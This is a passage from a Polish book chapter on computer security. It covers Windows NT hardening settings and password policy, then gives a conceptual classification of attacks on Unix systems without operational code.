Niektóre rodzaje ataków wcale nie mają na celu uzyskania dostępu, a polegają na uniemożliwieniu korzystania legalnym użytkownikom ze swego komputera czy z sieci lokalnej. Niewielki program może bowiem zalać serwer nieużytecznymi żądaniami. Podobnie można zaatakować wszystkie komputery czy rutery, doprowadzając do awarii, zamknięcia czy poważnych zakłóceń w komunikacji sieciowej. Haker może również słać tysiące komunikatów e-mail, całkowicie zapełniając dysk twardy i uniemożliwiając odbieranie właściwych przesyłek pocztowych.

Zabezpieczenia Windows NT

Windows NT dostarcza zbioru mechanizmów mających go uczynić bezpiecznym systemem operacyjnym, jednak przy zakupie systemu i standardowej instalacji większość z nich jest wyłączona (głównie w wersji Workstation). Dzieje się tak

dlatego, że podobno większość użytkowników nie potrzebuje systemu bardzo bezpiecznego, ale ograniczającego jego działanie. Z drugiej strony włączenie zabezpieczeń nie zmienia zbyt dużo, gdyż standardowa konfiguracja bezpieczeństwa utrzymana jest na żenująco niskim poziomie.

Wszelkie informacje przedstawione w tej książce odnoszą się do angielskiej wersji Windows NT. Dla każdego, komu zależy na bezpiecznym systemie, ta właśnie wersja jest najbardziej odpowiednia. Po pierwsze wszystkie Service Packi ukazują się najpierw w angielskiej, a dopiero po kilku miesiącach w polskiej wersji językowej (oczywiście można zainstalować Service Packa w angielskiej wersji językowej na „polski" NT po drobnych manipulacjach, lecz wtedy uzyskamy dwujęzyczną wersję, co jest pozbawione sensu). Po drugie dokumentacja Winodws NT, jaką można ściągnąć z Sieci, jest również opracowana w języku angielskim, co zdecydowanie utrudnia zastosowanie uzyskanych informacji.

Poziomy bezpieczeństwa Windows NT

Windows NT pozwala na ustawienie bezpieczeństwa na różnych poziomach (od braku jakiejkolwiek ochrony do bezpieczeństwa na poziomie C2). Ustawienie maksymalnego zabezpieczenia może ograniczyć dostęp do niektórych zasobów, wobec czego utrudnia pracę niektórym użytkownikom. Może to również powodować próby obejścia zabezpieczeń w celu ułatwienia lub umożliwienia wykonania pracy. Najprostszym przykładem jest ustawienie wymagania posiadania trudnych do złamania haseł (które zazwyczaj składają się z małych i dużych liter, cyfr oraz znaków). Hasła takie są zazwyczaj trudne do zapamiętania więc użytkownicy zapisują je na kartkach, aby móc korzystać z systemu. Oczywiście kartka z hasłem musi się znajdować „pod ręką" co oznacza, że na pewno jest gdzieś w pobliżu komputera. We wszystkim należy zachować umiar. Tak i tu najpierw należy określić poziom bezpieczeństwa, który naprawdę nam jest potrzebny. Jeśli będzie on zbyt wysoki w stosunku do naszych wymagań, nasza praca w systemie będzie znacznie utrudniona. Jednak, jeśli jest on zbyt niski, możemy narazić się na utratę ważnych dla nas danych.

Informacje o bezpieczeństwie zostały opracowane na podstawie dokumentu firmy Microsoft, który można znaleźć pod adresem *http://sun10.ci.pwr.wroc.pl/~kadluczk/guidesecnt.doc* (format dokumentu Worda w języku angielskim).

Ochrona w stopniu minimalnym

Przydatna dla komputerów znajdujących się w bardzo bezpiecznym miejscu lub nie zawierającym naprawdę ważnych informacji. Są to na przykład komputery używane w domu lub małej firmie, do których ma dostęp tylko ograniczona liczba osób. W takich przypadkach użytkownik może zechcieć, aby każdy mający dostęp do komputera miał bezproblemowy dostęp do wszystkich jego zasobów.

Fizyczna ochrona komputera

Należy chronić cenne elementy wyposażenia systemu przed kradzieżą na przykład poprzez zamykanie pomieszczenia, w którym znajduje się komputer, gdy nikt nie może go przypilnować. Należy też używać stabilizatora, aby chronić komputer przed nagłymi zmianami napięcia w Sieci. Ponadto należy regularnie sprawdzać i defragmentować dysk, aby wykrywać i izolować mogące powstawać błędne skróty oraz zwiększyć jego wydajność.

Przy minimalnym poziomie zabezpieczeń, żaden mechanizm bezpieczeństwa nie jest używany. W rzeczywistości można ustawić automatyczne logowanie się na konto Administratora (lub każdego innego użytkownika), co pozwala każdemu na otrzymanie pełnego dostępu do zasobów tuż po włączeniu komputera. Domyślnie dostęp do niektórych plików jest ograniczony. Dla minimalnego bezpieczeństwa należy ustawić pełny dostęp do plików dla grupy Everyone.

Minimalna ochrona nie zwalnia użytkownika z ochrony systemu przeciw wirusom, ponieważ mogą one uniemożliwić korzystanie z niektórych programów lub użyć komputera z minimalnym poziomem zabezpieczeń do zainfekowania innych systemów.

Standardowy poziom bezpieczeństwa

Komputery są najczęściej używane do przechowywania mniej lub bardziej ważnych danych. Mogą to być jakieś dane finansowe czy osobiste listy. Można także chcieć chronić komputer przed przypadkową lub celowa zmianą jego ustawień. Należy jednak pamiętać, że użytkownicy systemu powinni bez przeszkód móc wykonać swoją pracę. Standardowy poziom zabezpieczeń wydaje się odpowiedni, aby spełnić te wymagania.

Fizyczna ochrona komputera

Podobnie jak w przypadku ustawień zapewniających minimalne bezpieczeństwo, tak i tu należy traktować komputer jak każdą rzecz, którą uważamy za cenną. Oznacza to ustawienie go w miejscu zamkniętym dla nieuprawnionych osób.

System, który ma być bezpieczny wymaga pewnego wysiłku nie tylko ze strony administratora zarządzającego nim, ale i zwykłych użytkowników, którzy muszą przyzwyczaić się do wylogowywania się po zakończonej pracy czy pamiętania (zamiast zapisywania) swoich haseł.

Windows NT ma możliwość wyświetlenia okienka z dowolnym napisem przed możliwością zalogowania się. Intencją jest wyświetlenie w tym miejscu komunikatu ostrzegającego przed próbami uzyskania nielegalnego dostępu do zasobów. W celu umieszczenia okienka z komunikatem należy dokonać następujących zmian w rejestrze.

Hive:	*HKEY_LOCAL_MACHINE\SOFTWARE*
Key:	*\Microsoft\Windows NT\Current Version\Winlogon*
Name:	LegalNoticeCaption
Type:	REG_SZ
Value:	Napis na belce okna dialogowego
Hive:	*HKEY_LOCAL_MACHINE\SOFTWARE*
Key:	*Microsoft\Windows NT\Current Version\Winlogon*
Name:	LegalNoticeText
Type:	REG_SZ
Value:	Treść komunikatu

Konta użytkowników oraz grupy

Aby móc skorzystać z systemu przy ustawionym standardowym poziomie bezpieczeństwa wymagane jest posiadanie konta i hasła. Konta można zakładać, usuwać, blokować za pomocą programu User Manager znajdującego się w grupie programów nazwanej Administrative Tools.

Konta użytkowników a konta administracyjne

Pamiętajmy, że należy używać oddzielnych kont do administrowania systemem i oddzielnych do zwykłej pracy. Dzięki temu można zapobiec przypadkowym niepożądanym zmianom w ustawieniach systemu. Ponadto uruchomione przez użytkownika procesy wykonywane są zgodnie z prawami tego użytkownika. Na przykład wirusy mogą dokonać o wiele większych zniszczeń w systemie, jeżeli uruchamiane są z konta administratora i korzystają z jego praw. Dobrze jest *zmienić nazwę* wbudowanego konta administratora na jakąś mniej oczywistą. Przyczyna jest prosta — to właśnie konto o kluczowym dla systemu znaczeniu nie może nigdy być zablokowane, wobec czego celem niektórych ataków staje się próba odgadnięcia hasła.

Konto gościa

Dzięki kontu gościa można przyznać ograniczony dostęp do systemu przypadkowym użytkownikom. Należy więc wprowadzić zabezpieczenie przed zapisywaniem, usuwaniem i zmianą plików oraz katalogów i kluczy w rejestrze dokonywanych przez użytkowników korzystających z tego konta (można ewentualnie stworzyć katalog, do którego gość będzie miał pełny dostęp).

Logowanie się

Każdy z użytkowników powinien nacisnąć *Ctrl+Alt+Del* przed zalogowaniem, gdyż zabezpiecza to przed uruchomieniem programów napisanych do „zbierania" haseł logujących się użytkowników.

Wylogowywanie się

Użytkownicy powinni zawsze wylogowywać się lub blokować stację roboczą, na której pracują, gdy opuszczają swoje stanowisko. Wylogowywanie się pozwala zalogować się innym użytkownikom, ale blokowanie stacji roboczej uniemożliwia to. Można ustawić parametry tak, aby stacja robocza blokowała się automatycznie po określonym czasie nieużywania przez zastosowanie dowolnego 32-bitowego wygaszacza ekranu z opcją *Password Protection*.

Hasła

Każdy człowiek znający nazwę użytkownika (login) i skojarzone z tą nazwą hasło może zalogować się w jego imieniu. Dlatego użytkownicy powinni zawsze trzymać swoje hasła w tajemnicy i dbać o ich bezpieczeństwo. Można to uzyskać przez stosowanie się do kilku prostych reguł. Należy zatem:

- Unikać powtarzania haseł;
- Unikać używania haseł, których łatwo się domyśleć oraz słów występujących w słowniku (najlepiej stosować hasła składające się dużych i małych liter, cyfr oraz znaków specjalnych);
- Zmieniać regularnie hasło.

Zabezpieczenia plików i katalogów

Zastosowany system plików (NTFS) dostarcza nowych mechanizmów bezpieczeństwa w stosunku do systemu pliku FAT. Wobec tego powinien być zawsze używany, jeśli nasz system ma być bezpieczny. Przy użyciu NTFS można zabezpieczyć pliki i katalogi określając, którzy użytkownicy lub grupy użytkowników i w jaki sposób mogą się odwoływać do tego zasobu. Należy jednak pamiętać, że kopiując pliki nie kopiujemy ich praw. Po skopiowaniu pliku należy więc nadać mu odpowiednie prawa. Natomiast przy przenoszeniu plików przenoszone są także prawa ustawione dla tych plików. Zmiana praw dostępu do pliku jest dokonywana natychmiast po nadaniu nowych praw. Użytkownicy, którzy mieli otwarte pliki lub katalogi podczas zmian praw do tych plików lub katalogów mogą z nich korzystać według praw, z którymi je otwierali.

Kopie zapasowe

Powinno się regularnie tworzyć kopie bezpieczeństwa, zabezpieczające dane przed utratą na skutek uszkodzenia sprzętu, szkodliwej działalności wirusów lub innych pomyłek. Przywilej tworzenia kopii bezpieczeństwa powinni mieć tylko administratorzy oraz użytkownicy grupy Backup Operators.

Ochrona rejestru

Rejestr zawiera wszystkie informacje o inicjalizacji i konfiguracji systemu. Zwykle klucze w rejestrze są zmieniane pośrednio za pomocą narzędzi administracyjnych np. w panelu sterowania (*Control Panel*) i jest to metoda zalecana.

Jednak istnieją klucze, których wartości nie można zmienić w ten sposób i należy to uczynić bezpośrednio za pomocą programu RegEdit, który pozwala na zdalny dostęp do rejestru Windows NT. Aby ograniczyć ten dostęp należy stworzyć następujący klucz:

Hive:	*HKEY_LOCAL_MACHINE*
Key:	*\CurrentcontrolSet\Control\SecurePipeServers*
Name:	*\winreg*

Ograniczenia tego klucza określają, którzy użytkownicy lub grupy użytkowników mają zdalny dostęp do rejestru. Przy standardowej instalacji Windowsa NT klucz ten nie jest zdefiniowany oraz nie ma żadnych ograniczeń na zdalny dostęp do rejestru. Zapasowe kopie rejestru można zrobić także za pomocą standardowego narzędzia do robienia kopii zapasowych dostarczanego z systemem Windows NT.

Kontrolowanie

Kontrolowanie, czyli auditing informuje o akcjach, które mogą powodować zagrożenie dla bezpieczeństwa systemu oraz o nazwie konta, z którego te akcje zostały podjęte. Zastosowanie wymogu posiadania „dobrych" haseł kojarzy jednoznacznie nazwę konta z właścicielem. Auditing wymaga jednak dodatkowego miejsca na dysku oraz obciąża dodatkowo procesor. Można ograniczyć te niedogodności poprzez wybieranie tylko niektórych zdarzeń mających być kontrolowanymi. Zawsze należy kontrolować następujące wydarzenia:

- Nieudane próby logowania;
- Dostęp do ważnych danych;
- Zmiana ustawień dotyczących bezpieczeństwa.

Wysoki poziom bezpieczeństwa

Standardowy poziom bezpieczeństwa jest wystarczający dla większości instalacji. Dla komputerów, na których przechowywane są ważne dane można zastosować dodatkową ochronę w celu zabezpieczenia się przed kradzieżą danych oraz przypadkowym lub celowym uszkodzeniem systemu.

Bezpieczeństwo i sieć

Podłączenie komputera do sieci lokalnej stanowi bardzo duże zagrożenie dla jego bezpieczeństwa, ale jeśli każdy użytkownik potrzebuje dostępu do danych, jest to konieczne. Gdy cała sieć znajduje się w bezpiecznym budynku ryzyko nieautoryzowanego dostępu jest minimalne. Jeśli jednak okablowanie znajduje się poza budynkiem o wiele lepiej jest użyć światłowodów niż skrętki.

Kontrolowanie dostępu do komputera

Żaden komputer nigdy nie będzie bezpieczny, dopóki nieupoważnione osoby będą miały do niego dostęp. Dlatego dla zwiększenia bezpieczeństwa należy przestrzegać pewnych reguł. A więc:

- Zablokować dostęp do stacji dysków (np. ustawienia BIOS) lub, jeśli to niemożliwe, usunąć ją;
- Sprawić, by obudowa komputera nie miała możliwości otworzenia jej bez klucza, który powinien być przechowywany w bezpiecznym miejscu z dala od komputera;
- Sformatować dysk przy użyciu NTFS;
- Usunąć kartę sieciową, jeśli komputer nie potrzebuje dostępu do sieci.

Kontrolowanie dostępu do przycisku zasilania

Należy zadbać o to, by niepowołani użytkownicy nie mogli wyłączać komputera. Dzieje się tak wtedy, gdy ustawione dla nich prawa zabraniają im zamykania systemu. Dla większości komputerów wymagających zaostrzonego bezpieczeństwa wystawia się po prostu monitor i klawiaturę ewentualnie drukarkę. Komputer i wymienne urządzenia są zamknięte w miejscach, do których mają dostęp tylko upoważnione osoby. Na wielu platformach system może być chroniony przez użycie *power-on-password*. Power-on -password może zabezpieczać przed uruchomieniem innego systemu niż Windows NT.

Bezpieczeństwo systemu na poziomie C2

The National Computer Security Center (NCSC) jest agencją rządową USA odpowiedzialną za ocenę bezpieczeństwa oprogramowania. Bezpieczeństwo to jest sprawdzane pod kątem wymagań opisanych w *Department of Defense Trusted Computer System Evaluation Criteria* (popularnie nazywaną „Orange Book"). Windows NT spełnił wymagania bezpieczeństwa na poziomie C2 zdefiniowanym w „Orange Book".

Najważniejsze wymagania, jakim system musi sprostać, aby dostać certyfikat bezpieczeństwa na poziomie C2 to:

- Właściciel zasobu musi mieć możliwość kontroli dostępu do tego zasobu;
- System operacyjny musi chronić obiekty, aby inne procesy nie mogły ich przypadkowo użyć (np. system chroni pamięć w ten sposób, że jej zawartość nie może być odczytana po zwolnieniu jej przez inny proces);
- System musi identyfikować użytkownika poprzez wpisanie unikatowej nazwy użytkownika i hasła, a ponadto musi istnieć możliwość śledzenia poczynań użytkownika;

- Administrator musi mieć możliwość kontroli wszystkich wydarzeń związanych z bezpieczeństwem systemu (dostęp do tej informacji mogą mieć tylko administratorzy).

Ustawienie systemu o bezpieczeństwie na poziomie C2

W celu ułatwienia ustawienia systemu o bezpieczeństwie na poziomie C2 została stworzona aplikacja C2Config znajdująca się w pakiecie Windows NT 4.0 Resource Kit. *C2config.exe* pozwala wybrać ustawienia spośród używanych tak, aby uzyskać certyfikat C2 i implementować je.

.

Zarządzanie kontami

Odpowiednia polityka zarządzania kontami jest bardzo ważnym elementem bezpieczeństwa systemu. Mimo swej prostoty (a może właśnie dlatego) jest ona często lekceważona. Nie jest to właściwe podejście. Bo czy można nazwać bezpiecznym system stojący za firewallem z zainstalowanymi najnowszymi Service Packami i hotfixami, którego użytkownicy mają hasła trzyliterowe?

Aby dokonać odpowiednich ustawień dotyczących zarządzania kontami należy wybrać opcję *Policies —> Account* z menu głównego programu *User Manager for Domains*. W oknie, które się pojawi, należy zmienić ustawienia na podane poniżej.

Password Restrictions

Maximum Password Age

Określa maksymalny okres, przez jaki hasło nie musi być zmieniane:

```
Ustawienie: 45—60 dni
```

Minimum Password Age

Określa minimalny okres, przez jaki hasło nie może być zmienione:

```
Ustawienie: 10 dni
```

Mnimum Password Length

Określa minimalną długość hasła:

```
Ustawienie: 7 znaków
```

Password Uniqueness

Zapobiega używaniu tych samych haseł:

```
Ustawienie: 3—5 pamiętanych haseł
```

Account lockout

Lockout after

Blokada po pewnej ilości nieudanych prób zalogowań:

```
Ustawienie: 3—5
```

Może spowodować atak typu DoS (*Denial of Service*), jeśli konta są blokowane, dopóki nie zostaną odblokowane przez administratora.

Restart count after

Określa po jakim okresie czasu ma nastąpić zresetowanie licznika nieudanych prób logowania:

```
Ustawienie: 10080 minut (7 dni)
```

Lockout duration

Pozwala na automatyczne odblokowanie konta po upływie określonego czasu (tylko przez administratora):

```
Ustawienie: odblokowywanie przez Administratora
```

Forcibly disconnect remote users from server when logon hours expire

Nie pozwala użytkownikowi na pracę poza wyznaczonymi godzinami (odłącza go od zasobów):

```
Ustawienie: Zaznaczone
```

User must log on in order to change password

Nie pozwala użytkowników na zmianę hasła po jego wygaśnięciu:

```
Ustawienie: Zaznaczone
```

Podsumowując dotychczasowe informacje o zagrożeniach systemów komputerowych pracujących pod kontrolą Windows, należy pamiętać, aby system bezpieczeństwa zaplanować wcześniej, jeszcze zanim zacznie się budować sieć, ponieważ sprawy bezpieczeństwa powinny być rozpatrywane w aspekcie dokonywanych wyborów (oprogramowania, sprzętu i połączeń internetowych).

Można zatem wyróżnić dwie koncepcje tworzenia bezpieczeństwa w sieci:

- Udzielanie zezwolenia na wszystko i blokowanie dostępu wynikające z wymogów bezpieczeństwa;
- Blokowanie wszystkiego jako zasady ogólnej i przydzielanie zezwoleń według konkretnych potrzeb.

W pierwszej strategii wymaga się, aby użytkownik-administrator najpierw ustalił wszystko, co powinno być zabezpieczone. Jeśli popełni błąd, ktoś uzyska dostęp, którego mieć nie powinien. W drugiej strategii wymaga się zaś, aby z góry przewidzieć wszystko, co będzie potrzebne do użycia. I jeśli popełniony zostanie błąd, ktoś nie będzie mógł otrzymać dostępu, którego potrzebuje.

Główne metody ochrony komputera:

1. Zabezpieczenie pasywne:
   - ♦ Opracowanie planu i polityki bezpieczeństwa;
   - ♦ Strukturalne ograniczenie zewnętrznego dostępu do sieci;
   - ♦ Instalowanie tylko niezbędnych usług;
   - ♦ Stosowanie tylko znanego oprogramowania, bezpiecznego i pozbawionego błędów;
   - ♦ Odpowiednie konfigurowanie serwerów, systemu plików, oprogramowania i kont użytkowników, zapewniające kontrolę poprawności dostępu;
   - ♦ Ukrywanie przed otoczeniem zewnętrznym wszystkich informacji o swojej sieci.
2. Zabezpieczenie aktywne:
   - ♦ Instalowanie firewall blokujących niebezpieczną lub niewłaściwą komunikację internetową, odbywającą się w szerokim zakresie pomiędzy siecią a Internetem;
   - ♦ Stosowanie ogniw pośredniczących (*proxies*) i bram (*gateways*), umożliwiając tym samym dostęp do Internetu tylko z wybranych serwerów i ich serwisów;
   - ♦ Ograniczenie dostępu przez stosowanie metod szyfrowania i potwierdzania autentyczności na podstawie danych uwierzytelniających;
   - ♦ Stosowanie coraz nowszych zabezpieczeń przed zagrożeniami.
3. Raportowanie i monitorowanie:
   - ♦ Testowanie systemu ochrony przed podłączeniem się do Internetu;
   - ♦ Monitorowanie ruchu internetowego w sieci i na łączach z dostawcą usług internetowych oraz komunikacji z innymi sieciami;
   - ♦ Wykrywanie i rejestrowanie podejrzanej aktywności w Sieci i aplikacjach programowych.
4. Przewidywanie katastrof:
   - ♦ Stałe wykonywanie kopii zapasowych udostępnianych serwerów — zanim zostaną one podłączone do Internetu — i za każdym razem, gdy dokonane zostaną zmiany oprogramowania systemowego;
   - ♦ Wykonywanie kopii bezpieczeństwa wtedy, gdy tylko na serwerze pracuje pojedynczy użytkownik;
   - ♦ Napisanie i aktualizowanie dokumentacji o sprawdzonych procedurach odzyskiwania danych;
   - ♦ Posiadanie planu działania w przypadku naruszenia bezpieczeństwa.

Włamania do systemu Unix klasyfikacja i metody ochrony przed hakerami

W połowie lat 60. grupa pracowników laboratoriów Bell firmy AT&T opracowała nowy system operacyjny o nazwie Multics. System ten skończył swój żywot w roku 1969, kiedy Bell odciął dopływ funduszy, lecz kilku autorów z wyjściowej grupy dalej kontynuowało prace nad czymś, co później otrzymało nazwę Unix i zrobiło zawrotną karierę w AT&T. We wczesnych latach 80. stworzono nowe wersje Uniksa o nazwie System III i System V. Przez kolejne lata powstawały nowe ulepszone wersje, a obecnie są ich dziesiątki. Do najpopularniejszych należą: Berkeley, CPIX, FOS, Genix, HP— UX, IS/I, OSx, Sys3, PC — IX, PERPOS, Ultrix, Zeus, Xenix, UNITY, VENIX, UTS, Unisys, Unip lus+, UNOS, Idris, QNIX, Coherent, Cromix, Sixth, FreeBSD (darmowy) czy w końcu Linux (darmowy) i to w kilku edycjach: Debian, RedHat, czy też Slackware.

Unix jako system operacyjny bardzo szybko zyskał sobie popularność użytkowników. Do najważniejszych jego zalet należą:

- 32-bitowość, która wykorzystuje pełnię mocy obliczeniowej CPU (w przeciwieństwie do 16-bitowych systemów DOS);
- Wbudowany kompilator C, C++;
- Brak ograniczeń w wykorzystywaniu pamięci (wykorzystuje całą pamięć RAM w przeciwieństwie do DOS-a, który ma ograniczenie do 640 kB);
- Obsługa podstawowych protokołów TCP/IP slip lub ppp;
- Graficzny interfejs użytkownika X-Windows;
- Stabilność w działaniu.

Wszystkie zabiegi ochronne, które zmuszony jest przedsięwziąć użytkownik komputera wynikają z pogłębiającej się globalizacji sieci informatycznych i rosnących możliwości operowania informacją. Na przykład, system operacyjny Unix jest systemem bezpośrednim związanym z Internetem. Pod jego kontrolą pracuje większość serwerów, od których jest uzależnione istnienie i funkcjonowanie Sieci. System ten zapewnia najwięcej udogodnień służących pracy w dowolnych sieciach komputerowych. W chwili obecnej, gdy aktywność włamywaczy komputerowych jest tak duża, że w ciągu jednego miesiąca wynajdywanych jest od kilku do kilkunastu „dziur" w rozmaitych programach, zabezpieczenia standardowe są jednak niewystarczające.

Istnieją przecież różne klasyfikacje włamywaczy komputerowych. Jest bowiem różnica pomiędzy studentem czy uczniem szkoły średniej próbującym swych możliwości we włamaniach do systemów komputerowych a kimś, kto poszukuje konkretnych danych zgromadzonych w naszym komputerze i chce je wykorzystać do wymiernych profitów finansowo-materialnych. Z punktu widzenia administratora systemu trudno powiedzieć, który typ włamywacza jest gorszy. Zazwyczaj szpieg

potrafi zatrzeć za sobą ślady włamania i administrator może nawet o jego próbach włamania nie wiedzieć. Pierwszy typ włamywacza może jednak spowodować wiele kłopotów. Na przykład w obawie przed zdemaskowaniem, może on skasować ważne pliki systemowe lub nawet uszkodzić cały system.

Początkowo haker próbuje rozpocząć sesję na rozpracowywanej maszynie jako jej zwykły użytkownik. Może mu się to udać, gdy zna hasło konta założonego na tym komputerze lub potrafi wykorzystać rozmaite błędy w programach udostępniających usługi dla świata zewnętrznego. Gdy włamywacz już „pracuje" na zdalnej maszynie, szuka zwykle programów niepoprawnie skonfigurowanych bądź zainstalowanych niepotrzebnie, z najwyższymi uprawnieniami czy uruchamiających się z prawami administratora systemu.

Pierwszy sposób polega na przepełnieniu stosu. Włamywacz robi to przez wpisanie do niego tablicy o znacznych rozmiarach, następnie powoduje powrót z programu do innego adresu niż właściwy. Pod tym adresem może być umieszczona w pamięci na przykład powłoka, uruchomiona z uprawnieniami administratora systemu.

Drugi typ włamań do systemów uniksowych opiera się na swoistym „wyścigu". Dwa programy — intruza i jakikolwiek inny, uruchomiony przez administratora — próbują korzystać z tego samego pliku umieszczonego na dysku komputera. W pewnym momencie programowi intruza udaje się odpowiednio szybko zamienić rzeczywisty plik na podstawiony, a właściwy program daje się na to „nabrać".

Większości tego rodzaju ataków można by uniknąć, gdy regularnie „łatano" system. I to właśnie włamania do systemów zmuszają projektantów do szukania nowych i lepszych zabezpieczeń. Dosyć często zdarza się, że bardzo młodych hakerów firmy zatrudniają jako ekspertów do testowania skuteczności zabezpieczeń systemów, w których bezpieczeństwo informacji ma szczególne znaczenie, czyli np. w wojsku lub policji. Tak było na przykład z hakerem, który pomógł namierzyć i złapać innego słynnego hakera Kevina Mitnicka. Działał on pod pseudonimm Agent Stell i do tej pory podobno pracuje jeszcze dla rządu Stanów Zjednoczonych. Podobnie rzecz się miała z superspecem komputerowym Tutsomu Shimomurom, któremu zaszedł za skórę wspomniany K. Mitnick (Condor).

Poniżej znajduje się klasyfikacja rodzajów włamań do systemów uniksowych (z przyczyn oczywistych niepełna):

- Ataki korzystające z haseł;
- Ataki na system Linux;
- Ataki wykorzystujące słabe strony systemu cgi-bin/ phf;
- Ataki wykorzystujące oprogramowanie pirackie;
- Ataki na sendmaila;
- Zdobywanie plików z hasłami oraz cracking;
- Mail spamming i bombing;

- Ataki typu IP Spoofing;
- Automatyczne narzędzia do skanowania „ dziur" w systemie;
- Ataki typu *Denial of Service*;
- Węszenie;
- Ataki korzystające z autoryzowanego dostępu;
- Ataki polegające na podszywaniu się za pomocą protokołu IP;
- Ataki polegające na nawiązaniu kontaktu z autoryzowanym użytkownikiem;
- Ataki polegające na przewidywaniu numerów sekwencji;
- Ataki polegające na przechwyceniu sesji;
- Ataki korzystające ze słabych punktów w systemie;
- Ataki korzystające ze współużytkowanych bibliotek;
- Konie trojańskie.

Nie sposób nie wspomnieć również — niejako przy okazji — o obszarze ryzyka związanym z użytkowaniem komputerów z zainstalowanymi systemami uniksowymi. Jednak bezpieczeństwo Sieci to pojęcie obejmujące zarówno bezpieczeństwo informacji krążących pomiędzy jej węzłami, jak i tych zgromadzonych w bazach danych dostępnych za pośrednictwem Sieci.

Włamania do systemów informatycznych przynoszą znaczne straty finansowe i często utratę zaufania do instytucji, której powierzono poufne informacje. Środki ochrony zmniejszające ryzyko uzyskania dostępu do danych przez osoby nieupoważnione, można ogólnie podzielić na dwie kategorie:

- Ograniczenie dostępu do zasobów systemu zgodnie z ustaloną polityką ochronną organizacji;
- Kodowanie informacji (utajnianie) za pomocą metod kryptograficznych.

Trzeba również podkreślić, że ataki mogą być przeprowadzane w sposób aktywny lub pasywny. Atak pasywny polega na podsłuchiwaniu i monitorowaniu przesyłanych informacji. Celem ataku pasywnego może być dążenie do ujawnienia treści wiadomości lub uzyskania informacji o samym ruchu informacji. Atak aktywny dąży do modyfikowania strumienia informacji lub tworzenia fałszywych informacji.

Rodzaje ataków

Ataki korzystające z haseł

Są to najchętniej stosowane przez hakerów metody włamania. Polegają one na podjęciu próby przeniknięcia do systemu przez podanie identyfikatora użytkownika

i hasła, które może być wielokrotnie wprowadzane przez hakera do momentu, gdy zostanie ono właściwie użyte. Nazywane są one atakami słownikowymi. Szczególnie na nie podatny jest Unix, gdyż system ten, w odróżnieniu od innych, pozwala użytkownikowi na podawanie hasła dowolną ilość razy. Dzięki temu haker może usiłować zalogować się wiele razy podając błędne hasło, a system nie przerwie połączenia ani też nie zaalarmuje administratora.

Oprócz ataku słownikowego wyróżniamy również atak brutalny, który polega na próbie poprawności kolejnych haseł za pomocą generatora ciągów haseł i stałego połączenia z serwerem. W przypadku zdobycia statycznej bazy danych próba może być realizowana na sprzęcie włamywacza poprzez porównywanie otrzymanego zakodowanego hasła z zawartością bazy.

Ataki na system Linux

Wynikają one z nieprawidłowego skonfigurowania systemów oraz z braku odpowiednich patchy. System ten posiada wiele słabych stron i jego prawidłowa konfiguracja i instalacja patchy jest potrzebna dla zachowania podstawowego poziomu bezpieczeństwa.

Ataki wykorzystujące słabe strony systemu cgi-bin / phf

Program ten jest instalowany standardowo z kilkoma implementacjami serwerów httpd i pozwala on włamywaczowi na użycie dowolnej komendy.

Oprogramowanie pirackie

Jest ono często rozpowszechniane poprzez FTP (*File Transfer Protocol*). Może wprowadzić do systemu wirusa lub pomóc włamywaczowi w ataku.

Ataki na sendmaila

Sendmail to program obsługujący pocztę elektroniczną. Jest on często atakowany przez hakerów. Dobrze jest instalować coraz to nowsze wersje, gdyż dzięki temu można się ustrzec przed atakiem.

Zdobywanie plików z hasłami oraz cracking

Charakteryzuje się on tym, że włamywacz próbuje zdobyć plik z hasłami lub złamać hasło atakiem słownikowym. Aby ustrzec się przed takim atakiem należy zapoznawać się z najnowszymi poradami na temat spraw bezpieczeństwa i wykorzystywać zawarte w nich informacje.

Mail spamming i boming

Atak ten polega na zarzucaniu danego adresu komputerowego dużą ilością listów elektronicznych. W wyniku tego konta wielu użytkowników są blokowane, co uniemożliwia pracę oraz korzystanie z Sieci.

Ataki typu IP Spoofing

Jest to „oszukiwanie" adresów źródłowych przychodzących z Sieci zewnętrznej. Przed atakiem tym można się skutecznie chronić ustawiając na styku z Siecią wewnętrzną firewalla.

Automatyczne narzędzia do skanowania „dziur" w systemie

Narzędzia takie służą do kontroli własnego systemu oraz sprawdzania i odnajdywania jego słabych stron. Przez te narzędzia włamywacze odnajdują słabe strony systemu i wykorzystują je do włamania się do tego systemu.

Ataki DoS

Polegają one na przepełnieniu bufora w systemie, który jest atakowany. Jego skutkiem jest zatrzymanie serwisu, uzyskanie praw roota i zawieszenie albo wyładowanie systemu.

Węszenie

Jest to jeden z trudniejszych do przeprowadzenia ataków. Stanowi on poważne zagrożenie dla firm prowadzących interesy za pomocą Internetu. Haker używając programów węszących może przechwycić pakiety przekazywane między komputerami przyłączonymi do Sieci.

Ataki korzystające z autoryzowanego dostępu

Ataki te są często stosowane przez osoby, które chcą się włamać do Sieci opartych na systemie operacyjnym (np. Unix) korzystającym z mechanizmu autoryzowanego dostępu. Użytkownicy systemu Unix mogą tworzyć pliki zawierające nazwy zaufanych serwerów, gdyż wówczas uzyskują dostęp do systemu bez podawania hasła. Połączenie się z zaufanym systemem wymaga użycia polecenia rlogin lub podobnego polecenia oraz odpowiednich argumentów. Haker, który pozna nazwę zaufanego serwera lub identyfikator użytkownika wraz z nazwą komputera głównego, może uzyskać dostęp do systemu.

Ataki polegające na podszywaniu się za pomocą protokołu IP

Ataki te polegają na użyciu adresów nadawanych przez protokół IP przesyłanym pakietom. Komputery wymieniające miedzy sobą informacje przekazują sobie nawzajem dane o sobie. Haker może wysłać do komputera odbiorcy fałszywe informacje

o swoim komputerze, które świadczą, że jest on bezpiecznym komputerem głównym znajdującym się wewnątrz sieci lokalnej lub poza nią. Podczas takiego ataku pakiety wysyłane przez hakera mają dostęp do systemu, do którego się on włamuje, oraz do usług tego systemu. Odpowiedzi na zapytania i żądania obsługi wysyłane przez system nie dotrą do włamywacza, lecz do komputera głównego, pod który haker się podszywa.

Ataki polegające na nawiązaniu kontaktu z autoryzowanym użytkownikiem

Haker stosujący taki atak może przykładowo wysłać do autoryzowanego użytkownika list pocztą elektroniczną przedstawiając się jako administrator Sieci. Wówczas może poprosić użytkownika o przekazanie swojego hasła w celu wykonania pewnych operacji.

Ataki polegające na przewidywaniu numerów sekwencji

